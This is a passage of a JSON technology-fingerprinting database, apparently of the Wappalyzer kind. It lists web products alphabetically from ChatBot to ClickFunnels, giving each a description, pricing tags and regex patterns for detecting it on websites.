\"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.chatbot\\\\.com/\"\n    ],\n    \"website\": \"https://www.chatbot.com\"\n  },\n  \"ChatGen\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"ChatGen is a hybrid chatbot platform designed to facilitate communication with prospects, customers, and internal employees, aiming to reduce turnaround time and improve productivity.\",\n    \"icon\": \"ChatGen.svg\",\n    \"js\": {\n      \"ChatGen\": \"\",\n      \"loadChatgen\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.chatgen\\\\.ai/\"\n    ],\n    \"website\": \"https://chatgen.ai\"\n  },\n  \"ChatNode\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"ChatNode is a platform for building advanced AI chatbots that provide deep business insights, designed to enhance customer interactions through innovative technology.\",\n    \"icon\": \"ChatNode.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"embed\\\\.chatnode\\\\.ai/\"\n    ],\n    \"website\": \"https://www.chatnode.ai\"\n  },\n  \"ChatPlus\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"ChatPlus is a provider of chat and chatbot tool with (or without) AI in Japan and abroad.\",\n    \"icon\": \"ChatPlus.svg\",\n    \"js\": {\n      \"ChatplusAction.addAgentTag\": \"\",\n      \"ChatplusAppScript.getLead\": \"\",\n      \"ChatplusScript.focusPrompt\": \"\",\n      \"jpChatplusOnComplete\": \"\",\n      \"jp_chatplus_app_accessTime\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://chatplus.jp\"\n  },\n  \"ChatStack\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"ChatStack is a self-hosted live chat software for websites.\",\n    \"icon\": \"ChatStack.svg\",\n    \"js\": {\n      \"Chatstack.chatState\": \"\",\n      \"Chatstack.server\": \"\"\n    },\n    \"pricing\": [\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.chatstack.com\"\n  },\n  \"ChatWith.io\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"ChatWith.io is a versatile platform enabling WhatsApp link management, statistics tracking, and specialised services like WhatsApp Business Dating and widgets for efficient customer engagement.\",\n    \"dom\": [\n      \"a[href*='//chatwith.io/'][target='_self']\"\n    ],\n    \"icon\": \"ChatWith.io.svg\",\n    \"pricing\": [\n      \"onetime\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"widget\\\\.tochat\\\\.be/\"\n    ],\n    \"website\": \"https://chatwith.io\"\n  },\n  \"Chatango\": {\n    \"cats\": [\n      5\n    ],\n    \"description\": \"Chatango is a website used for connecting to a large selection of users.\",\n    \"dom\": [\n      \"iframe[src*='st.chatango.com']\"\n    ],\n    \"icon\": \"Chatango.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"st\\\\.chatango\\\\.com\"\n    ],\n    \"website\": \"https://chatango.com\"\n  },\n  \"Chatbase\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Chatbase is an AI chatbot builder, it trains ChatGPT on your data and lets you add a chat widget to your website.\",\n    \"icon\": \"Chatbase.svg\",\n    \"js\": {\n      \"chatbaseConfig.chatbotId\": \"\",\n      \"embedChatbaseChatbot\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.chatbase.co\"\n  },\n  \"Chatify\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Chatify is a chat solution for websites seeking to enhance customer engagement.\",\n    \"icon\": \"Chatify.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.chatify\\\\.com/\"\n    ],\n    \"website\": \"https://www.chatify.com\"\n  },\n  \"Chatra\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Chatra is a cloud-based live chat platform aimed at small businesses and ecommerce retailers.\",\n    \"icon\": \"Chatra.svg\",\n    \"js\": {\n      \"ChatraID\": \"\",\n      \"ChatraSetup\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"call\\\\.chatra\\\\.io/chatra\\\\.js\"\n    ],\n    \"website\": \"https://chatra.com\",\n    \"xhr\": [\n      \"chat\\\\.chatra\\\\.io/\"\n    ]\n  },\n  \"Chatsimple\": {\n    \"cats\": [\n      52,\n      53\n    ],\n    \"description\": \"Chatsimple provides AI chatbots for sales and support, facilitating lead generation and multilingual customer assistance.\",\n    \"icon\": \"Chatsimple.svg\",\n    \"js\": {\n      \"chatsimpleCoPilot\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.chatsimple\\\\.ai/\"\n    ],\n    \"website\": \"https://www.chatsimple.ai\"\n  },\n  \"Chatwoot\": {\n    \"cats\": [\n      52\n    ],\n    \"cpe\": \"cpe:2.3:a:chatwoot:chatwoot:*:*:*:*:*:*:*:*\",\n    \"description\": \"Chatwoot is a customer support tool for instant messaging channels.\",\n    \"icon\": \"Chatwoot.svg\",\n    \"js\": {\n      \"$chatwoot\": \"\",\n      \"chatwootSDK\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.chatwoot.com\"\n  },\n  \"Checkfront\": {\n    \"cats\": [\n      5,\n      72\n    ],\n    \"description\": \"Checkfront is a cloud-based booking management application and ecommerce platform.\",\n    \"icon\": \"Checkfront.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.checkfront\\\\.com/\"\n    ],\n    \"website\": \"https://www.checkfront.com\"\n  },\n  \"Checkly\": {\n    \"cats\": [\n      13\n    ],\n    \"description\": \"Checkly is the API and E2E monitoring platform for the modern stack: programmable, flexible and loving JavaScript.\",\n    \"icon\": \"Checkly.svg\",\n    \"js\": {\n      \"__NUXT__.config.public.apiUrl\": \"api\\\\.checklyhq\\\\.com\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"recurring\",\n      \"mid\"\n    ],\n    \"requires\": [\n      \"Nuxt.js\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.checklyhq.com\",\n    \"xhr\": [\n      \"api\\\\.checklyhq\\\\.com/\"\n    ]\n  },\n  \"Checkout.com\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"Checkout.com is an international payment platform that processes different payment methods across a variety of currencies.\",\n    \"icon\": \"Checkout.com.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.checkout\\\\.com/js/.+js(?:\\\\?ver=)?([\\\\d\\\\.]+)?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://www.checkout.com\"\n  },\n  \"Chekkit\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Chekkit is an all-in-one review, messaging, and lead inbox software.\",\n    \"icon\": \"Chekkit.png\",\n    \"js\": {\n      \"chekkitSettings.toggleChat\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.chekkit.io\"\n  },\n  \"Cherokee\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:cherokee-project:cherokee:*:*:*:*:*:*:*:*\",\n    \"headers\": {\n      \"Server\": \"^Cherokee(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Cherokee.png\",\n    \"website\": \"https://www.cherokee-project.com\"\n  },\n  \"CherryPy\": {\n    \"cats\": [\n      22\n    ],\n    \"cpe\": \"cpe:2.3:a:cherrypy:cherrypy:*:*:*:*:*:*:*:*\",\n    \"description\": \"CherryPy is an object-oriented web application framework using the Python programming language.\",\n    \"headers\": {\n      \"Server\": \"CherryPy(?:/([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"icon\": \"CherryPy.svg\",\n    \"website\": \"https://cherrypy.org/\"\n  },\n  \"Chevereto\": {\n    \"cats\": [\n      7,\n      19\n    ],\n    \"cpe\": \"cpe:2.3:a:chevereto:chevereto:*:*:*:*:*:*:*:*\",\n    \"description\": \"Chevereto is an image hosting software that allows you to create a full-featured image hosting website on your own server.\",\n    \"icon\": \"Chevereto.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"CHEVERETO.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"meta\": {\n      \"generator\": \"Chevereto\\\\s(?:[\\\\d\\\\.]+)\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/chevereto\\\\.js\"\n    ],\n    \"website\": \"https://chevereto.com\"\n  },\n  \"Chicago Boss\": {\n    \"cats\": [\n      18\n    ],\n    \"cookies\": {\n      \"_boss_session\": \"\",\n      \"book_like_a_boss_session\": \"\"\n    },\n    \"description\": \"Chicago Boss is a web framework for Erlang.\",\n    \"icon\": \"Chicago Boss.svg\",\n    \"implies\": [\n      \"Erlang\"\n    ],\n    \"oss\": true,\n    \"website\": \"http://chicagoboss.org/\"\n  },\n  \"Chili Piper\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"Chili Piper is a suite of automated scheduling tools that help revenue teams convert leads.\",\n    \"icon\": \"Chili Piper.svg\",\n    \"js\": {\n      \"ChiliPiper\": \"\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js\\\\.chilipiper\\\\.com/marketing\\\\.js\"\n    ],\n    \"website\": \"https://www.chilipiper.com/\"\n  },\n  \"Chimpmatic\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Chimpmatic is a premium Contact Form 7 and Mailchimp integration plugin.\",\n    \"dom\": {\n      \"form[class*='chimpmatic']\": {\n        \"attributes\": {\n          \"class\": \"chimpmatic-([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"default.svg\",\n    \"implies\": [\n      \"Contact Form 7\",\n      \"MailChimp\"\n    ],\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://chimpmatic.com\"\n  },\n  \"Chinese Menu Online\": {\n    \"cats\": [\n      51,\n      93\n    ],\n    \"description\": \"Chinese Menu Online is an online food ordering service.\",\n    \"dom\": [\n      \"li > a[href*='chinesemenuonline.com']\"\n    ],\n    \"icon\": \"Chinese Menu Online.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.chinesemenuonline.com\"\n  },\n  \"Chitika\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"Chitika.png\",\n    \"js\": {\n      \"ch_client\": \"\",\n      \"ch_color_site_link\": \"\"\n    },\n    \"scriptSrc\": [\n      \"scripts\\\\.chitika\\\\.net/\"\n    ],\n    \"website\": \"https://chitika.com\"\n  },\n  \"Choices\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Choices.js is a lightweight, configurable select box/text input plugin.\",\n    \"icon\": \"Choices.png\",\n    \"js\": {\n      \"Choices\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"choices\\\\.js(?:@|/)?([\\\\d\\\\.]+)?.+choices\\\\.min\\\\.js\\\\;version:\\\\1\",\n      \"/modules/choices/js/choices\\\\.js\"\n    ],\n    \"website\": \"https://github.com/Choices-js/Choices\"\n  },\n  \"Chord\": {\n    \"cats\": [\n      52,\n      103\n    ],\n    \"description\": \"Chord is a video-enabled social community and communication platform completely customised to your brand.\",\n    \"icon\": \"Chord.svg\",\n    \"js\": {\n      \"CHORDCONNECT\": \"\",\n      \"ChordConnect.__esModule\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"chord\\\\.us/embeddable/client-([\\\\d\\\\.]+)\\\\.min\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://m.chord.us\"\n  },\n  \"Chorus\": {\n    \"cats\": [\n      1\n    ],\n    \"cookies\": {\n      \"_chorus_geoip_continent\": \"\",\n      \"chorus_preferences\": \"\"\n    },\n    \"description\": \"Chorus is the only all-in-one publishing, audience, and revenue platform built for modern media companies.\",\n    \"icon\": \"Chorus.svg\",\n    \"js\": {\n      \"Chorus.AddScript\": \"\",\n      \"ChorusAds.beforeAdsRequested\": \"\",\n      \"ChorusCampaigns.recordClickUrl\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://getchorus.voxmedia.com\"\n  },\n  \"Chosen\": {\n    \"cats\": [\n      12,\n      18\n    ],\n    \"description\": \"Chosen is a jQuery plugin that makes long, unwieldy select boxes much more user-friendly.\",\n    \"scriptSrc\": [\n      \"chosen(?:\\\\.jquery)?(?:\\\\.min)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://harvesthq.github.io/chosen/\"\n  },\n  \"Chronofresh\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Chronofresh is an express transport service for food products.\",\n    \"icon\": \"Chronopost.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bChronofresh\\\\b\"\n    ],\n    \"website\": \"https://www.chronofresh.fr\"\n  },\n  \"Chronopost\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"Chronopost provides a domestic and international express shipping and delivery service.\",\n    \"icon\": \"Chronopost.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bChronopost\\\\b\"\n    ],\n    \"website\": \"https://www.chronopost.fr\"\n  },\n  \"ChurnZero\": {\n    \"cats\": [\n      97\n    ],\n    \"description\": \"ChurnZero is a real-time customer success platform that helps subscription businesses fight customer churn.\",\n    \"icon\": \"ChurnZero.svg\",\n    \"js\": {\n      \"ChurnZero\": \"\",\n      \"ChurnZero.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://churnzero.net\"\n  },\n  \"Ciklik\": {\n    \"cats\": [\n      6,\n      41\n    ],\n    \"cookies\": {\n      \"ciklik_session\": \"\"\n    },\n    \"description\": \"Ciklik is an ecommerce platform that empowers individuals to establish online stores and market their subscription-based products.\",\n    \"icon\": \"Ciklik.svg\",\n    \"js\": {\n      \"t_ciklik\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.ciklik.co\"\n  },\n  \"Circle\": {\n    \"cats\": [\n      2\n    ],\n    \"cookies\": {\n      \"_circle_session:\": \"\\\\;confidence:50\"\n    },\n    \"description\": \"Circie is an all-in-one community platform for businesses that brings together engaging courses, discussions, members, live streams, chat, events, and memberships.\",\n    \"dom\": [\n      \"a[href*='.circle.so/']\"\n    ],\n    \"icon\": \"Circle.svg\",\n    \"js\": {\n      \"circleUser\": \"\\\\;confidence:50\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://circle.so\"\n  },\n  \"Citizen Space\": {\n    \"cats\": [\n      1\n    ],\n    \"description\": \"Next-generation engagement tools for 21st century democracy.\",\n    \"dom\": [\n      \"a[href='https://www.delib.net/citizen_space']\"\n    ],\n    \"icon\": \"CitizenSpace.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/static/vendor/dlb-admin-ui/\"\n    ],\n    \"website\": \"https://www.delib.net/citizen_space\"\n  },\n  \"Citrix\": {\n    \"cats\": [\n      46\n    ],\n    \"description\": \"Citrix is a people-centric solutions provider offering software that enables employees to work and collaborate remotely, irrespective of their device or network.\",\n    \"icon\": \"Citrix.svg\",\n    \"js\": {\n      \"AddHeaderAndBarForCitrix\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.citrix.com\"\n  },\n  \"CitrusPay\": {\n    \"cats\": [\n      41\n    ],\n    \"description\": \"CitrusPay provides payement gateway and wallet services.\",\n    \"icon\": \"citruspay.png\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"checkout-static\\\\.citruspay\\\\.com/\"\n    ],\n    \"website\": \"https://consumers.citruspay.com/\"\n  },\n  \"City Hive\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"City Hive's all in one ecommerce platform for wine and spirit shops.\",\n    \"icon\": \"City Hive.svg\",\n    \"js\": {\n      \"cityHiveSites\": \"\",\n      \"cityHiveWebsiteName\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.cityhive.net\"\n  },\n  \"CityMail\": {\n    \"cats\": [\n      99\n    ],\n    \"description\": \"CityMail is a private postal organisation operating in Sweden.\",\n    \"icon\": \"CityMail.svg\",\n    \"requiresCategory\": [\n      6\n    ],\n    \"text\": [\n      \"\\\\bCitymail\\\\b\"\n    ],\n    \"website\": \"https://www.citymail.se\"\n  },\n  \"CiviCRM\": {\n    \"cats\": [\n      53\n    ],\n    \"cpe\": \"cpe:2.3:a:civicrm:civicrm:*:*:*:*:*:*:*:*\",\n    \"description\": \"CiviCRM is a web-based suite of internationalised open-source software for constituency relationship management.\",\n    \"dom\": [\n      \"a[href*='/civicrm/contribute/transact'], link[href*='/com_civicrm/civicrm/']\"\n    ],\n    \"icon\": \"CiviCRM.svg\",\n    \"oss\": true,\n    \"website\": \"https://civicrm.org\"\n  },\n  \"CiviCRM plugins\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"CiviCRM is a web-based suite of internationalised open-source software for constituency relationship management.\",\n    \"icon\": \"CiviCRM.svg\",\n    \"implies\": [\n      \"CiviCRM\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"wp-content/plugins/(?:[\\\\w\\\\-]+)?civicrm(?:[\\\\w\\\\-]+)?/\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/search/civicrm/\"\n  },\n  \"CivicTheme\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"CivicTheme is an open source, inclusive and component-based design system. It was created so governments and corporations can rapidly assemble modern, consistent and compliant digital experiences.\",\n    \"dom\": [\n      \"img[class*='civictheme-image']\",\n      \"img[class*='civic-image']\",\n      \"img[class*='ct-image']\"\n    ],\n    \"icon\": \"CivicTheme.svg\",\n    \"oss\": true,\n    \"website\": \"https://www.civictheme.io/\"\n  },\n  \"Ckan\": {\n    \"cats\": [\n      1\n    ],\n    \"headers\": {\n      \"Access-Control-Allow-Headers\": \"X-CKAN-API-KEY\",\n      \"Link\": \"<http://ckan\\\\.org/>; rel=shortlink\"\n    },\n    \"icon\": \"Ckan.svg\",\n    \"implies\": [\n      \"Python\",\n      \"Solr\",\n      \"Java\",\n      \"PostgreSQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"^ckan ?([0-9.]+)$\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"website\": \"https://ckan.org/\"\n  },\n  \"Clarip\": {\n    \"cats\": [\n      67\n    ],\n    \"description\": \"Clarip is an enterprise data privacy and risk management platform.\",\n    \"icon\": \"Clarip.svg\",\n    \"js\": {\n      \"claripCdnHost\": \"\",\n      \"claripHost\": \"\",\n      \"pageData.claripConsentJSUrl\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"//cdn\\\\.clarip\\\\.com/\"\n    ],\n    \"website\": \"https://www.clarip.com\"\n  },\n  \"Claris FileMaker\": {\n    \"cats\": [\n      34\n    ],\n    \"description\": \"Claris FileMaker is a cross-platform relational database application from Claris International.\",\n    \"icon\": \"Claris.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Vaadin\",\n      \"Application Request Routing\",\n      \"Java\"\n    ],\n    \"url\": [\n      \"\\\\.[\\\\w]+/fmi/webd/\"\n    ],\n    \"website\": \"https://www.claris.com/filemaker\"\n  },\n  \"Clarity\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"Clarity is an open-source design system that brings together UX guidelines, an HTML/CSS framework, and Angular components.\",\n    \"dom\": [\n      \"link[href*='clr-ui'], clr-main-container\"\n    ],\n    \"icon\": \"clarity.svg\",\n    \"implies\": [\n      \"Angular\"\n    ],\n    \"js\": {\n      \"ClarityIcons\": \"\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"clr-angular(?:\\\\.umd)?(?:\\\\.min)?\\\\.js\"\n    ],\n    \"website\": \"https://clarity.design\"\n  },\n  \"ClassCreator\": {\n    \"cats\": [\n      72\n    ],\n    \"description\": \"ClassCreator is a school class reunion planning tool that helps organize events, manage guest lists, and track RSVPs, streamlining the coordination of reunions.\",\n    \"icon\": \"ClassCreator.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"www\\\\.classcreator\\\\.com/\"\n    ],\n    \"website\": \"https://www.classcreator.com\"\n  },\n  \"Classeh\": {\n    \"cats\": [\n      21\n    ],\n    \"description\": \"Classeh is a LMS that allows user to participate in webinars and also use LMS options like messanger,finances,homework,quiz and some extra options like sending messages and more.\",\n    \"dom\": [\n      \"a[href*='apps.classeh.ir'][target='_blank']\"\n    ],\n    \"icon\": \"Classeh.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"React\",\n      \"Python\"\n    ],\n    \"meta\": {\n      \"author\": \"^fanavar\\\\.org$\"\n    },\n    \"pricing\": [\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://fanavar.org\"\n  },\n  \"Classnames\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Javascript utility for conditionally joining classNames together.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"classnames\\\\.?\\\\w{0,20}(?:\\\\.chunk)?\\\\.js\"\n    ],\n    \"website\": \"https://jedwatson.github.io/classnames/\"\n  },\n  \"Classy\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Classy is an online fundraising platform.\",\n    \"icon\": \"classy.svg\",\n    \"js\": {\n      \"Classy.clientId\": \"\"\n    },\n    \"scripts\": [\n      \"classy\\\\.org\"\n    ],\n    \"website\": \"https://www.classy.org/\"\n  },\n  \"ClearSale\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"ClearSale offers fraud management and chargeback protection services.\",\n    \"icon\": \"ClearSale.svg\",\n    \"js\": {\n      \"csdm\": \"\\\\;confidence:50\"\n    },\n    \"scriptSrc\": [\n      \"device\\\\.clearsale\\\\.com\\\\.br\"\n    ],\n    \"website\": \"https://www.clear.sale/\"\n  },\n  \"Clearbit Reveal\": {\n    \"cats\": [\n      10\n    ],\n    \"description\": \"Clearbit Reveal identifies anonymous visitors to websites.\",\n    \"icon\": \"Clearbit.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"reveal\\\\.clearbit\\\\.com/v[(0-9)]/\"\n    ],\n    \"website\": \"https://clearbit.com/#reveal\"\n  },\n  \"Clearlink\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Clearlink connects brands with customers who are likely to convert and provides information on partnerships and career opportunities.\",\n    \"icon\": \"Clearlink.svg\",\n    \"js\": {\n      \"mapiBaseUrl\": \"mapi\\\\.clearlink\\\\.com\",\n      \"mapiLeadEndpoint\": \"mapi\\\\.clearlink\\\\.com\"\n    },\n    \"saas\": true,\n    \"website\": \"https://www.clearlink.com\"\n  },\n  \"Cleave.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"JavaScript library for formatting input text content when you are typing.\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"cleave(?:\\\\.min)?(?:\\\\.\\\\w{0,32})?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://nosir.github.io/cleave.js/\"\n  },\n  \"Clerk\": {\n    \"cats\": [\n      69\n    ],\n    \"description\": \"Clerk is a user management platform.\",\n    \"icon\": \"Clerk.svg\",\n    \"js\": {\n      \"Clerk.authenticateWithMetamask\": \"\",\n      \"Clerk.openSignIn\": \"\",\n      \"Clerk.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://clerk.dev\"\n  },\n  \"Clerk.io\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Clerk.io is an all-in-one ecommerce personalisation platform.\",\n    \"icon\": \"Clerk.io.svg\",\n    \"js\": {\n      \"__clerk_cb_0\": \"\",\n      \"__clerk_q\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.clerk\\\\.io/\"\n    ],\n    \"website\": \"https://clerk.io\"\n  },\n  \"CleverTap\": {\n    \"cats\": [\n      32,\n      10\n    ],\n    \"description\": \"CleverTap is a SaaS based customer lifecycle management and mobile marketing company headquartered in Mountain View, California.\",\n    \"icon\": \"CleverTap.svg\",\n    \"js\": {\n      \"clevertap\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://clevertap.com\"\n  },\n  \"Cleverbridge\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Cleverbridge is a all-in-one ecommerce and subscription billing solution for software, (SaaS) and digital goods.\",\n    \"icon\": \"Cleverbridge.svg\",\n    \"js\": {\n      \"cbCartProductSelection\": \"\"\n    },\n    \"scriptSrc\": [\n      \"static-cf\\\\.cleverbridge\\\\.\\\\w+/js/Shop\\\\.js\"\n    ],\n    \"website\": \"https://www.cleverbridge.com\"\n  },\n  \"Clevy\": {\n    \"cats\": [\n      53\n    ],\n    \"description\": \"Clevy is a platform that automates internal processes and queries within organizations, streamlining operations and improving efficiency.\",\n    \"icon\": \"Clevy.svg\",\n    \"js\": {\n      \"clevyWidget.showIframe\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.clevy.io\"\n  },\n  \"Click & Pledge\": {\n    \"cats\": [\n      111\n    ],\n    \"description\": \"Click & Pledge is an all-in-one digital fundraising platform.\",\n    \"dom\": [\n      \"a[href*='.clickandpledge.com/']\"\n    ],\n    \"icon\": \"Click & Pledge.svg\",\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.clickandpledge\\\\.com/\"\n    ],\n    \"website\": \"https://clickandpledge.com\"\n  },\n  \"ClickCease\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"ClickCease is an ad fraud and click-fraud detection and protection service software.\",\n    \"icon\": \"ClickCease.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.clickcease\\\\.com/monitor/\"\n    ],\n    \"website\": \"https://www.clickcease.com\"\n  },\n  \"ClickDesk\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"ClickDesk is a live chat and online engagement software that enables real-time interaction with website visitors.\",\n    \"icon\": \"ClickDesk.svg\",\n    \"js\": {\n      \"CLICKDESK_CHAT_WINDOW_UI\": \"\",\n      \"CLICKDESK_LIVECHAT\": \"\",\n      \"CLICKDESK_Live_Chat\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.clickdesk.com\"\n  },\n  \"ClickDimensions\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"ClickDimensions is a SaaS marketing automation platform built on the Microsoft Windows Azure platform.\",\n    \"icon\": \"ClickDimensions.svg\",\n    \"js\": {\n      \"clickdimensions\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"analytics\\\\.clickdimensions\\\\.com/\"\n    ],\n    \"website\": \"https://clickdimensions.com\"\n  },\n  \"ClickFunnels\": {\n    \"cats\": [\n      32,\n      51\n    ],\n    \"description\": \"ClickFunnels is an online sales funnel builder that helps businesses market, sell, and deliver their products online.\",\n    \"icon\": \"ClickFunnels.svg\",\n    \"js\": {\n      \"CFAppDomain\": 